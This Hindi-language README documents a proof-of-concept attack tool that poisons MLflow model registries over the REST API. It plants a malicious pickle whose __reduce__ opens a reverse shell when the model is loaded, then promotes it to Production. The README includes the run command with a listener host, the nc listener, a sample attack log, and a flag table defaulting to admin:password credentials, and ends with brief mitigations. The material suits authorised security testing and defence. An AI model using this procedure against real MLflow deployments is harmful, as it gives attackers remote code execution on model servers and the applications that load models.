
प्रूफ-ऑफ-कॉन्सेप्ट जो REST API के माध्यम से MLflow पंजीकृत मॉडलों को ज़हरीला बनाता है, मॉडल लोड होने पर RCE ट्रिगर करने के लिए एक दुर्भावनापूर्ण pickle एम्बेड करता है।
MLflow मॉडल रजिस्ट्रियों के विरुद्ध pickle डीसेरिएलाइज़ेशन RCE के लिए सामान्य proof-of-concept (CVE-2024-37054-शैली)। यह केवल MLflow REST API से बात करता है — इसके सामने किसी विशिष्ट क्लाइंट एप्लिकेशन के बारे में कोई धारणा नहीं बनाता।
⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए। इसे केवल उन सिस्टमों के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (CTF/लैब वातावरण, हस्ताक्षरित स्कोप वाली एंगेजमेंट, आदि)। अधिकांश क्षेत्राधिकारों में कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है।
MLflow का pyfunc फ्लेवर एक रजिस्टर्ड मॉडल को unpickle करके लोड करता है — model.pkl आर्टिफैक्ट को — जब भी mlflow.pyfunc.load_model() कॉल किया जाता है, चाहे वह सीधे MLflow UI/API के माध्यम से ट्रिगर हो, या किसी क्लाइंट एप्लिकेशन द्वारा परोक्ष रूप से जो एक रजिस्टर्ड मॉडल के विरुद्ध inference चला रहा हो।
Python का pickle मॉड्यूल डीसेरिएलाइज़ेशन के दौरान किसी ऑब्जेक्ट की __reduce__ मेथड के माध्यम से मनमाना कोड निष्पादित कर सकता है। यदि किसी हमलावर के पास MLflow API तक पर्याप्त पहुँच है ताकि वह:
...तो वे model.pkl के रूप में एक दुर्भावनापूर्ण pickle तस्करी कर सकते हैं। अगली बार जब भी कोई उस मॉडल वर्ज़न को लोड करेगा, हमलावर का कोड लोड करने वाली प्रक्रिया के संदर्भ में निष्पादित होगा (MLflow सर्वर स्वयं, या कोई क्लाइंट ऐप जो MLflow को एम्बेड करता है)।
यह उसी अंतर्निहित प्रिमिटिव का उपयोग करता है जो कई MLflow CVEs के पीछे है, जिनमें CVE-2023-6015, CVE-2023-6018, और CVE-2024-37054 शामिल हैं। यह विशेष रूप से खतरनाक है क्योंकि MLflow इंस्टेंस अक्सर बिना प्रमाणीकरण के, या प्रसिद्ध डिफ़ॉल्ट क्रेडेंशियल्स (admin:password) के साथ तैनात किए जाते हैं।
पूर्णतः API-संचालित, क्रम में:
--model-name के माध्यम से आपके पास पहले से पहुँच वाले मॉडल का पुनः उपयोग करती है)।model.pkl — एक pickle जिसका __reduce__ रिवर्स शेल उत्पन्न करने के लिए os.system() को कॉल करता है।MLmodel — वह मैनिफ़ेस्ट जो उस pickle द्वारा समर्थित python_function / sklearn फ्लेवर घोषित करता है।Production), क्योंकि कई क्लाइंट ऐप्स केवल मॉडल के Production-स्टेज वाले वर्ज़न को ही लोड करते हैं।यह वास्तविक मॉडल लोड को खोजती या ट्रिगर नहीं करती — वह हिस्सा हर तैनाती के लिए अलग होता है:
mlflow.pyfunc.load_model() को कॉल करता है (एक /predict रूट, एक शेड्यूल्ड बैच जॉब, आदि)।आपको निम्नलिखित करना होगा:
--model-name स्वयं प्राप्त करें — MLflow UI से, MLflow API (/api/2.0/mlflow/registered-models/search) से, या जो कुछ भी कोई क्लाइंट एप्लिकेशन आपकी ओर से मॉडल रजिस्टर करते समय लौटाता है।pip install requests --break-system-packages
Python 3.8+। कोई अन्य निर्भरता नहीं।
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
चलाने से पहले या बाद में एक लिसनर शुरू करें:
nc -lvnp 4444
फिर लोड को उसी तरह ट्रिगर करें जैसे लक्ष्य एप्लिकेशन करता है (उसका अपना inference एंडपॉइंट, एक बैच जॉब, MLflow UI से मैन्युअल रूप से मॉडल लोड करना, आदि)।
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) को यथावत न छोड़ें।pickle पर निर्भर न हों (जैसे ONNX, या सुरक्षित सीरिएलाइज़ेशन वाले फ्लेवर्स), या मॉडल लोडिंग को सत्यापित/सैंडबॉक्स करें।registered-models/create, model-versions/create, और transition-stage कॉल्स की निगरानी करें, विशेष रूप से उन खातों से जिन्हें Production में मॉडल प्रकाशित नहीं करना चाहिए।load_model() को कॉल करने वाला कोई भी क्लाइंट ऐप) ताकि वहाँ का कोड-निष्पादन प्रिमिटिव संवेदनशील आंतरिक सिस्टमों तक सीधा रास्ता न रखे।MIT — देखें LICENSE।
| Flag | Default | Description |
|---|
--mlflow | (required) | MLflow बेस URL |
--model-name | random | ज़हर देने के लिए रजिस्टर्ड मॉडल नाम; यदि मौजूद न हो तो बनाया जाता है |
--lhost | (required) | आपका लिसनर IP |
--lport | 4444 | आपका लिसनर पोर्ट |
--username | admin | MLflow basic auth उपयोगकर्ता नाम |
--password | password | MLflow basic auth पासवर्ड |
--experiment-id | 0 | run बनाने के लिए experiment ID |
--stage | Production | दुर्भावनापूर्ण वर्ज़न को प्रमोट करने का स्टेज, या ट्रांज़िशन छोड़ने के लिए none |